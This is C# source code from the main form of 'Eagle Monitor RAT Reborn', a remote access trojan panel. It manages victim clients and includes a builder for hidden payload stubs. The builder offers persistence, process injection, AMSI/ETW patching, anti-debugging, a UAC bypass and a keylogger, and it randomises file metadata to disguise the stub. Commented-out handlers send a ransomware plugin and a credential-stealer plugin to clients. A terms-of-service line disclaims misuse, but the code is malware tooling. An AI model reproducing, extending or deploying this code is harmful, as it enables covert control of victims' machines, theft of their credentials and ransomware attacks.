this.Controls.Add(this.versionLabel); this.Controls.Add(this.mainGuna2TabControl); this.Controls.Add(this.panel1); this.Controls.Add(this.logoPictureBox); this.Controls.Add(this.minimizeGuna2ControlBox); this.Controls.Add(this.maximizeGuna2ControlBox); this.Controls.Add(this.closeGuna2ControlBox); this.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Name = "MainForm"; this.Padding = new System.Windows.Forms.Padding(2, 32, 2, 2); this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.Text = "Eagle Monitor RAT Reborn"; this.TopBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.Load += new System.EventHandler(this.MainForm_Load); this.Shown += new System.EventHandler(this.MainForm_Shown); this.MouseLeave += new System.EventHandler(this.MainForm_MouseLeave); this.mainGuna2TabControl.ResumeLayout(false); this.tabPage1.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.clientDataGridView)).EndInit(); this.mainContextMenuStrip.ResumeLayout(false); this.clientContextMenuStrip.ResumeLayout(false); this.tabPage2.ResumeLayout(false); this.guna2Panel1.ResumeLayout(false); this.builderGuna2TabControl.ResumeLayout(false); this.tabPage6.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.hostsDataGridView)).EndInit(); this.hostContextMenuStrip.ResumeLayout(false); this.tabPage7.ResumeLayout(false); this.tabPage7.PerformLayout(); this.tabPage8.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); this.tabPage13.ResumeLayout(false); this.tabPage13.PerformLayout(); this.guna2GroupBox3.ResumeLayout(false); this.guna2GroupBox3.PerformLayout(); this.tabPage9.ResumeLayout(false); this.tabPage9.PerformLayout(); this.tabPage3.ResumeLayout(false); this.guna2Panel2.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.logsDataGridView)).EndInit(); this.tabPage4.ResumeLayout(false); this.guna2Panel3.ResumeLayout(false); this.tabPage5.ResumeLayout(false); this.guna2Panel4.ResumeLayout(false); this.guna2Panel4.PerformLayout(); this.guna2GroupBox1.ResumeLayout(false); this.portContextMenuStrip.ResumeLayout(false); this.tabPage10.ResumeLayout(false); this.onConnectGuna2TabControl.ResumeLayout(false); this.tabPage11.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.tasksDataGridView)).EndInit(); this.tabPage12.ResumeLayout(false); this.panel1.ResumeLayout(false); this.guna2Panel5.ResumeLayout(false); this.guna2Panel5.PerformLayout(); ((System.ComponentModel.ISupportInitialize)(this.githubPictureBox)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.logoPictureBox)).EndInit(); this.ResumeLayout(false); this.PerformLayout(); } #endregion private Guna.UI2.WinForms.Guna2TabControl mainGuna2TabControl; private System.Windows.Forms.TabPage tabPage1; private System.Windows.Forms.TabPage tabPage2; private Guna.UI2.WinForms.Guna2ControlBox closeGuna2ControlBox; private Guna.UI2.WinForms.Guna2ControlBox maximizeGuna2ControlBox; private Guna.UI2.WinForms.Guna2ControlBox minimizeGuna2ControlBox; public System.Windows.Forms.DataGridView clientDataGridView; private System.Windows.Forms.DataGridViewImageColumn Column1; private System.Windows.Forms.DataGridViewTextBoxColumn Column2; private System.Windows.Forms.DataGridViewTextBoxColumn Column3; private System.Windows.Forms.DataGridViewTextBoxColumn Column4; private System.Windows.Forms.DataGridViewTextBoxColumn Column5; private System.Windows.Forms.DataGridViewTextBoxColumn Column6; private System.Windows.Forms.DataGridViewTextBoxColumn Column7; private System.Windows.Forms.DataGridViewTextBoxColumn Column8; private System.Windows.Forms.DataGridViewTextBoxColumn Column9; private System.Windows.Forms.DataGridViewTextBoxColumn Column10; private System.Windows.Forms.PictureBox logoPictureBox; private Guna.UI2.WinForms.Guna2Panel guna2Panel1; private System.Windows.Forms.TabPage tabPage3; private Guna.UI2.WinForms.Guna2Panel guna2Panel2; private System.Windows.Forms.TabPage tabPage4; private Guna.UI2.WinForms.Guna2Panel guna2Panel3; private System.Windows.Forms.TabPage tabPage5; private Guna.UI2.WinForms.Guna2Panel guna2Panel4; private System.Windows.Forms.Panel panel1; private Guna.UI2.WinForms.Guna2Panel guna2Panel5; private System.Windows.Forms.Label versionLabel; private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar1; private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar2; public System.Windows.Forms.DataGridView logsDataGridView; private System.Windows.Forms.Label label1; private Guna.UI2.WinForms.Guna2GroupBox guna2GroupBox1; private System.Windows.Forms.ColumnHeader columnHeader1; internal Guna.UI2.WinForms.Guna2TextBox keyGuna2TextBox; internal Guna.UI2.WinForms.Guna2CheckBox notificationSoundGuna2CheckBox; internal Guna.UI2.WinForms.Guna2ComboBox flagsPackGuna2ComboBox; internal System.Windows.Forms.ListView portListView; private Controls.CustomContextMenuStrip mainContextMenuStrip; private System.Windows.Forms.ToolStripMenuItem loginToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem clientToolStripMenuItem; private Controls.CustomContextMenuStrip clientContextMenuStrip; private System.Windows.Forms.ToolStripMenuItem closeToolStripMenuItem; private System.Windows.Forms.PictureBox githubPictureBox; private System.Windows.Forms.DataGridViewTextBoxColumn Column11; private System.Windows.Forms.DataGridViewTextBoxColumn Column12; private System.Windows.Forms.DataGridViewTextBoxColumn Column13; private System.Windows.Forms.DataGridViewTextBoxColumn Column17; private System.Windows.Forms.DataGridViewTextBoxColumn Column14; private System.Windows.Forms.DataGridViewTextBoxColumn Column15; private System.Windows.Forms.DataGridViewTextBoxColumn Column16; internal Guna.UI2.WinForms.Guna2CheckBox autoSaveRecoveryGuna2CheckBox; private System.Windows.Forms.RichTextBox updateLogRichTextBox; private Guna.UI2.WinForms.Guna2TabControl builderGuna2TabControl; private System.Windows.Forms.TabPage tabPage6; private System.Windows.Forms.TabPage tabPage7; private System.Windows.Forms.TabPage tabPage8; private System.Windows.Forms.TabPage tabPage9; private System.Windows.Forms.Label label5; private Guna.UI2.WinForms.Guna2CheckBox vbStubGuna2CheckBox; private System.Windows.Forms.Label label13; private System.Windows.Forms.Label label12; private System.Windows.Forms.Label label11; private System.Windows.Forms.Label label10; private System.Windows.Forms.Label label9; private System.Windows.Forms.Label label8; private System.Windows.Forms.Label label7; private System.Windows.Forms.Label label14; private System.Windows.Forms.Label label16; private System.Windows.Forms.PictureBox pictureBox1; private System.Windows.Forms.Label label15; private Guna.UI2.WinForms.Guna2CheckBox tosLicenseGuna2CheckBox; private Guna.UI2.WinForms.Guna2Button buildGuna2Button; private Guna.UI2.WinForms.Guna2Button iconGuna2Button; private System.Windows.Forms.Label label17; internal Guna.UI2.WinForms.Guna2ComboBox processInjectionGuna2ComboBox; internal Guna.UI2.WinForms.Guna2CheckBox autoRemoveDownloadGuna2CheckBox; private System.Windows.Forms.Label label18; internal Guna.UI2.WinForms.Guna2ComboBox bufferSizeGuna2ComboBox; internal Guna.UI2.WinForms.Guna2TextBox builderKeyGuna2TextBox; private System.Windows.Forms.Label label19; internal Guna.UI2.WinForms.Guna2ComboBox pathPersistenceGuna2ComboBox; private System.Windows.Forms.ToolStripMenuItem test123ToolStripMenuItem; internal Guna.UI2.WinForms.Guna2CheckBox ransomKeyGuna2CheckBox; internal Guna.UI2.WinForms.Guna2CheckBox notificationIconGuna2CheckBox; private System.Windows.Forms.ToolStripMenuItem test456ToolStripMenuItem; private System.Windows.Forms.TabPage tabPage10; private Guna.UI2.WinForms.Guna2VScrollBar guna2VScrollBar3; public System.Windows.Forms.DataGridView tasksDataGridView; private Guna.UI2.WinForms.Guna2TabControl onConnectGuna2TabControl; private System.Windows.Forms.TabPage tabPage11; private System.Windows.Forms.TabPage tabPage12; private Guna.UI2.WinForms.Guna2Button addTaskGuna2Button; internal Guna.UI2.WinForms.Guna2ComboBox tasksGuna2ComboBox; private System.Windows.Forms.DataGridViewTextBoxColumn Column20; private System.Windows.Forms.DataGridViewTextBoxColumn Column21; private System.Windows.Forms.ToolStripMenuItem aboutToolStripMenuItem; private System.Windows.Forms.ToolTip patchToolTip; internal Guna.UI2.WinForms.Guna2ComboBox persistenceMethodGuna2ComboBox; private System.Windows.Forms.Label label20; private System.Windows.Forms.TabPage tabPage13; private System.Windows.Forms.Label label4; private Guna.UI2.WinForms.Guna2Button randomizeGuna2Button; public System.Windows.Forms.DataGridView hostsDataGridView; internal Guna.UI2.WinForms.Guna2TextBox buildLogsGuna2TextBox; internal Guna.UI2.WinForms.Guna2ComboBox archiGuna2ComboBox; private System.Windows.Forms.Label label21; private System.Windows.Forms.Label label2; private Guna.UI2.WinForms.Guna2TextBox portGuna2TextBox; private System.Windows.Forms.Label label3; private Guna.UI2.WinForms.Guna2TextBox dnsGuna2TextBox; private Guna.UI2.WinForms.Guna2Button addHostGuna2Button; private System.Windows.Forms.DataGridViewTextBoxColumn Column22; private System.Windows.Forms.DataGridViewTextBoxColumn Column23; internal Guna.UI2.WinForms.Guna2TextBox productGuna2TextBox; internal Guna.UI2.WinForms.Guna2TextBox productVersionGuna2TextBox; internal Guna.UI2.WinForms.Guna2TextBox filenameGuna2TextBox; internal Guna.UI2.WinForms.Guna2TextBox fileVersionGuna2TextBox; internal Guna.UI2.WinForms.Guna2TextBox copyrightGuna2TextBox; internal Guna.UI2.WinForms.Guna2TextBox companyGuna2TextBox; internal Guna.UI2.WinForms.Guna2TextBox descriptionGuna2TextBox; internal Guna.UI2.WinForms.Guna2TextBox trademarksGuna2TextBox; internal Guna.UI2.WinForms.Guna2CheckBox persistenceGuna2CheckBox; internal Guna.UI2.WinForms.Guna2CheckBox offKeyloguna2CheckBox; private System.Windows.Forms.ToolStripMenuItem closeUninstallToolStripMenuItem; private System.Windows.Forms.Label label22; private Controls.CustomContextMenuStrip hostContextMenuStrip; private System.Windows.Forms.ToolStripMenuItem removeHostStripMenuItem; private Controls.CustomContextMenuStrip portContextMenuStrip; private System.Windows.Forms.ToolStripMenuItem portRemoveStripMenuItem; private System.Windows.Forms.ToolStripMenuItem addToolStripMenuItem; private System.Windows.Forms.Label label23; public Guna.UI2.WinForms.Guna2CheckBox patchETWGuna2CheckBox; public Guna.UI2.WinForms.Guna2CheckBox patchAMSIGuna2CheckBox; private Guna.UI2.WinForms.Guna2GroupBox guna2GroupBox3; public Guna.UI2.WinForms.Guna2CheckBox erasePEHeadersGuna2CheckBox; public Guna.UI2.WinForms.Guna2CheckBox antiDebugGuna2CheckBox; public Guna.UI2.WinForms.Guna2CheckBox bypassICMLuaUtilGuna2CheckBox; public System.Windows.Forms.Label totalClientLabel; public System.Windows.Forms.Label portLabel; } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Controls/MainForm.cs ================================================ using Eagle_Monitor_RAT_Reborn.Controls; using Eagle_Monitor_RAT_Reborn.Misc; using Eagle_Monitor_RAT_Reborn.Network; using Leaf.xNet; using Newtonsoft.Json; using PacketLib.Packet; using System; using System.Collections.Generic; using System.Diagnostics; using System.Drawing; using System.IO; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn { public partial class MainForm : FormPattern { public MainForm() { InitializeComponent(); } private void MainForm_Load(object sender, EventArgs e) { this.SuspendLayout(); this.clientDataGridView.EnableHeadersVisualStyles = false; this.clientDataGridView.ClearSelection(); this.logsDataGridView.EnableHeadersVisualStyles = false; this.logsDataGridView.ClearSelection(); this.hostsDataGridView.EnableHeadersVisualStyles = false; this.hostsDataGridView.ClearSelection(); Directory.CreateDirectory("Logs"); Directory.CreateDirectory("Clients"); new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.clientDataGridView, this.guna2VScrollBar1, true); new Guna.UI2.WinForms.Helpers.DataGridViewScrollHelper(this.logsDataGridView, this.guna2VScrollBar2, true); this.Text = $"[Beta] EM-RAT Reborn V{Misc.Utils.CoreAssembly.Version} By Arsium - [Nullum crimen sine lege]"; this.versionLabel.Text = this.Text; Eagle_Monitor_RAT_Reborn.Controls.Utils.SetTotalClients(); Eagle_Monitor_RAT_Reborn.Controls.Utils.SetTabImage(this.mainGuna2TabControl, new Icon[] { Properties.Resources.icons8_user, Properties.Resources.icons8_wrench, Properties.Resources.icons8_mail, Properties.Resources.icons8_index, Properties.Resources.icons8_settings, Properties.Resources.icons8_schedule_mail }); Eagle_Monitor_RAT_Reborn.Controls.Utils.SetTabImage(this.onConnectGuna2TabControl, new Icon[] { Properties.Resources.icons8_todo_list, Properties.Resources.icons8_create }); Eagle_Monitor_RAT_Reborn.Controls.Utils.SetTabImage(this.builderGuna2TabControl, new Icon[] { Properties.Resources.icons8_signal, Properties.Resources.icons8_categorize, Properties.Resources.icons8_new_property, Properties.Resources.icons8_remote_desktop, Properties.Resources.icons8_advanced_search, Properties.Resources.icons8_Tools }); this.ResumeLayout(); } private void MainForm_Shown(object sender, EventArgs e) { Misc.Utils.ReadSettings(); Misc.Utils.StartServers(); this.portLabel.Text = "Listening on : { "; foreach (int p in Program.settings.ports) { this.portLabel.Text += p.ToString() + ", "; } this.portLabel.Text = this.portLabel.Text.Remove(this.portLabel.Text.Length - 2, 2); this.portLabel.Text += " }"; try { using (HttpRequest httpRequest = new HttpRequest()) { httpRequest.IgnoreProtocolErrors = true; httpRequest.UserAgent = Http.ChromeUserAgent(); httpRequest.ConnectTimeout = 5000; string request = httpRequest.Get("https://api.github.com/repos/arsium/EagleMonitorRAT/releases").ToString(); List json = JsonConvert.DeserializeObject>(request); foreach (GitHubAPI gitHubAPI in json) { this.updateLogRichTextBox.SelectionColor = Color.FromArgb(197, 66, 245); this.updateLogRichTextBox.AppendText("Version : " + gitHubAPI.tag_name + "\n\n"); this.updateLogRichTextBox.SelectionColor = Color.FromArgb(66, 182, 245); this.updateLogRichTextBox.AppendText(gitHubAPI.body.Replace("*", "•") + "\n\n\n"); } int gitHubVersion = int.Parse(json[0].tag_name.Replace(".", "")); int localVersion = int.Parse(Misc.Utils.CoreAssembly.Version.ToString().Replace(".", "")); if (gitHubVersion > localVersion) MessageBox.Show(this, $"A new update is available {json[0].tag_name} !", Misc.Utils.CoreAssembly.Name, MessageBoxButtons.OK, MessageBoxIcon.Information); else if (gitHubVersion < localVersion) MessageBox.Show("You use an unknown version of Eagle Monitor RAT Reborn !", Misc.Utils.CoreAssembly.Name, MessageBoxButtons.OK, MessageBoxIcon.Information); } } catch (Exception ex) { this.updateLogRichTextBox.SelectionColor = Color.Red; this.updateLogRichTextBox.AppendText(ex.ToString()); } } private void closeGuna2ControlBox_Click(object sender, EventArgs e) { Misc.Utils.SaveSettings(); if(this.logsDataGridView.Rows.Count > 0) Misc.Utils.SaveLogs(this.logsDataGridView); Imports.NtTerminateProcess((IntPtr)(-1), 0); } private void logoPictureBox_MouseDown(object sender, System.Windows.Forms.MouseEventArgs e) { Eagle_Monitor_RAT_Reborn.Controls.Utils.MoveForm(this); } private void versionLabel_MouseDown(object sender, System.Windows.Forms.MouseEventArgs e) { Eagle_Monitor_RAT_Reborn.Controls.Utils.MoveForm(this); } //https://stackoverflow.com/questions/4314673/how-to-deselect-all-selected-rows-in-a-datagridview-control private void dataGridView1_MouseUp(object sender, MouseEventArgs e) { if (e.Button == MouseButtons.Left) { DataGridView.HitTestInfo hit = clientDataGridView.HitTest(e.X, e.Y); if (hit.Type == DataGridViewHitTestType.None) { clientDataGridView.ClearSelection(); clientDataGridView.CurrentCell = null; } } } private void hostsDataGridView_MouseUp(object sender, MouseEventArgs e) { if (e.Button == MouseButtons.Left) { DataGridView.HitTestInfo hit = hostsDataGridView.HitTest(e.X, e.Y); if (hit.Type == DataGridViewHitTestType.None) { hostsDataGridView.ClearSelection(); hostsDataGridView.CurrentCell = null; } } } private void MainForm_MouseLeave(object sender, EventArgs e) { clientDataGridView.ClearSelection(); clientDataGridView.CurrentCell = null; hostsDataGridView.ClearSelection(); hostsDataGridView.CurrentCell = null; } private void githubPictureBox_MouseClick(object sender, MouseEventArgs e) { Process.Start("https://github.com/arsium"); } private void githubPictureBox_MouseDown(object sender, MouseEventArgs e) { githubPictureBox.BackColor = Color.FromArgb(215, 215, 215); } private void githubPictureBox_MouseHover(object sender, EventArgs e) { githubPictureBox.BackColor = Color.FromArgb(240, 240, 240); } private void githubPictureBox_MouseUp(object sender, MouseEventArgs e) { githubPictureBox.BackColor = Color.White; } private void githubPictureBox_MouseLeave(object sender, EventArgs e) { githubPictureBox.BackColor = Color.White; } private void loginToolStripMenuItem_Click(object sender, EventArgs e) { foreach (DataGridViewRow row in clientDataGridView.SelectedRows) { string IP = row.Cells[2].Value.ToString(); Eagle_Monitor_RAT_Reborn.Controls.Utils.InitiateForm(ClientHandler.ClientHandlersList[IP]); } } private void closeToolStripMenuItem_Click(object sender, EventArgs e) { ClosePacket closePacket = new ClosePacket(); foreach (DataGridViewRow row in clientDataGridView.SelectedRows) { string IP = row.Cells[2].Value.ToString(); ClientHandler.StartSendData(ClientHandler.ClientHandlersList[IP], closePacket); } } private void closeUninstallToolStripMenuItem_Click(object sender, EventArgs e) { UninstallPacket uninstallPacket = new UninstallPacket(); foreach (DataGridViewRow row in clientDataGridView.SelectedRows) { string IP = row.Cells[2].Value.ToString(); ClientHandler.StartSendData(ClientHandler.ClientHandlersList[IP], uninstallPacket); } } private void autoSaveRecoveryGuna2CheckBox_CheckedChanged(object sender, EventArgs e) { if (autoSaveRecoveryGuna2CheckBox.Checked) Program.settings.autoSaveRecovery = true; else Program.settings.autoSaveRecovery = false; } private void notificationSoundGuna2CheckBox_CheckedChanged(object sender, EventArgs e) { if (notificationSoundGuna2CheckBox.Checked) Program.settings.notificationSound = true; else Program.settings.notificationSound = false; } #region "Builder" private void persistenceGuna2CheckBox_CheckedChanged(object sender, EventArgs e) { if (persistenceGuna2CheckBox.Checked) { pathPersistenceGuna2ComboBox.Enabled = true; persistenceMethodGuna2ComboBox.Enabled = true; } else { pathPersistenceGuna2ComboBox.Enabled = false; persistenceMethodGuna2ComboBox.Enabled = false; } } internal string iconPath { get; set; } private void removeHostStripMenuItem_Click(object sender, EventArgs e) { foreach(DataGridViewRow host in Program.mainForm.hostsDataGridView.SelectedRows) Program.mainForm.hostsDataGridView.Rows.Remove(host); } private void buildGuna2Button_Click(object sender, EventArgs e) { //Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData));//C:\Users\Arsium\AppData\Roaming //Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData));//C:\Users\Arsium\AppData\Local //Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.Startup));//C:\Users\Arsium\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup //Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile));//user of current user if (tosLicenseGuna2CheckBox.Checked) { /*string stubPath = Misc.Utils.StubPath; if (vbStubGuna2CheckBox.Checked) stubPath += "VB";*/ Builder.StubBuilder.BuildClient(); } else { MessageBox.Show("You forgot to agree with TOS and license !"); } } private void iconGuna2Button_Click(object sender, EventArgs e) { using (OpenFileDialog dlg = new OpenFileDialog()) { dlg.Title = "Choose Icon"; dlg.Filter = "Icons *.ico|*.ico"; dlg.Multiselect = false; if (dlg.ShowDialog() == DialogResult.OK) { iconPath = dlg.FileName; pictureBox1.Image = Image.FromFile(iconPath); } } } private void randomizeGuna2Button_Click(object sender, EventArgs e) { fileVersionGuna2TextBox.Text = $"{RandomString.RandomDigit()}.{RandomString.RandomDigit()}.{RandomString.RandomDigit()}.{RandomString.RandomDigit()}"; productVersionGuna2TextBox.Text = $"{RandomString.RandomDigit()}.{RandomString.RandomDigit()}.{RandomString.RandomDigit()}.{RandomString.RandomDigit()}"; productGuna2TextBox.Text = RandomString.RandomStringFunction(new Random().Next(10, 20)); descriptionGuna2TextBox.Text = RandomString.RandomStringFunction(new Random().Next(10, 20)); companyGuna2TextBox.Text = RandomString.RandomStringFunction(new Random().Next(10, 20)); copyrightGuna2TextBox.Text = RandomString.RandomStringFunction(new Random().Next(10, 20)); trademarksGuna2TextBox.Text = RandomString.RandomStringFunction(new Random().Next(10, 20)); filenameGuna2TextBox.Text = RandomString.RandomStringFunction(new Random().Next(10, 20)); } private void addHostGuna2Button_Click(object sender, EventArgs e) { int rowId = Program.mainForm.hostsDataGridView.Rows.Add(); DataGridViewRow row = Program.mainForm.hostsDataGridView.Rows[rowId]; row.Cells["Column22"].Value = dnsGuna2TextBox.Text; row.Cells["Column23"].Value = portGuna2TextBox.Text; dnsGuna2TextBox.Text = null; portGuna2TextBox.Text = null; } #endregion private void test123ToolStripMenuItem_Click(object sender, EventArgs e) { //Only there to test new features /*foreach (DataGridViewRow row in clientDataGridView.SelectedRows) { string IP = row.Cells[2].Value.ToString(); RansomwareEncryptionPacket ransomwareEncryptionPacket = new RansomwareEncryptionPacket(ClientHandler.ClientHandlersList[IP].encryptionInformation.publicRSAServerKey, new List() { "C:\\Users\\arsium\\Desktop\\TestFodler" }, false, false); ransomwareEncryptionPacket.plugin = PacketLib.Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Ransomware.dll"), 1); ClientHandler.ClientHandlersList[IP].SendPacket(ransomwareEncryptionPacket); }*/ } private void test456ToolStripMenuItem_Click(object sender, EventArgs e) { //Only there to test new features /*foreach (DataGridViewRow row in clientDataGridView.SelectedRows) { string IP = row.Cells[2].Value.ToString(); RansomwareDecryptionPacket ransomwareDecryptionPacket = new RansomwareDecryptionPacket(ClientHandler.ClientHandlersList[IP].encryptionInformation.privateRSAServerKey); ransomwareDecryptionPacket.plugin = PacketLib.Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Ransomware.dll"), 1); ClientHandler.ClientHandlersList[IP].SendPacket(ransomwareDecryptionPacket); }*/ } private void addTaskGuna2Button_Click(object sender, EventArgs e) { /*switch (tasksGuna2ComboBox.SelectedIndex) { case 0: Program.settings.onConnectPackets.Add(new PasswordsPacket() { plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Stealer.dll"), 1) }); break; case 1: Program.settings.onConnectPackets.Add(new HistoryPacket() { plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Stealer.dll"), 1) }); break; case 2: Program.settings.onConnectPackets.Add(new AutofillPacket() { plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + "\\Plugins\\Stealer.dll"), 1) }); break; }*/ } private void aboutToolStripMenuItem_Click(object sender, EventArgs e) { new AboutForm().Show(); } private void portRemoveStripMenuItem_Click(object sender, EventArgs e) { if (this.portListView.SelectedItems.Count > 0) this.portListView.SelectedItems[0].Remove(); } private void addToolStripMenuItem_Click(object sender, EventArgs e) { string p = Microsoft.VisualBasic.Interaction.InputBox("Port :"); this.portListView.Items.Add(p); } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Controls/MainForm.resx ================================================  text/microsoft-resx 2.0 System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 True True True True True True True True True True 17, 17 214, 17 True True 517, 17 394, 17 1. You will not use Eagle Monitor RAT Reborn for malicious purposes. 2. You will not use Eagle Monitor RAT Reborn for illegal access to any systems. 3. You are responsible for your uses. 4. Author declines all responsibility as results for damage and misuses. 5. By using Eagle Monitor RAT Reborn, you automatically agree to AGPL License. True True True True True True True 714, 17 True True 394, 17 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 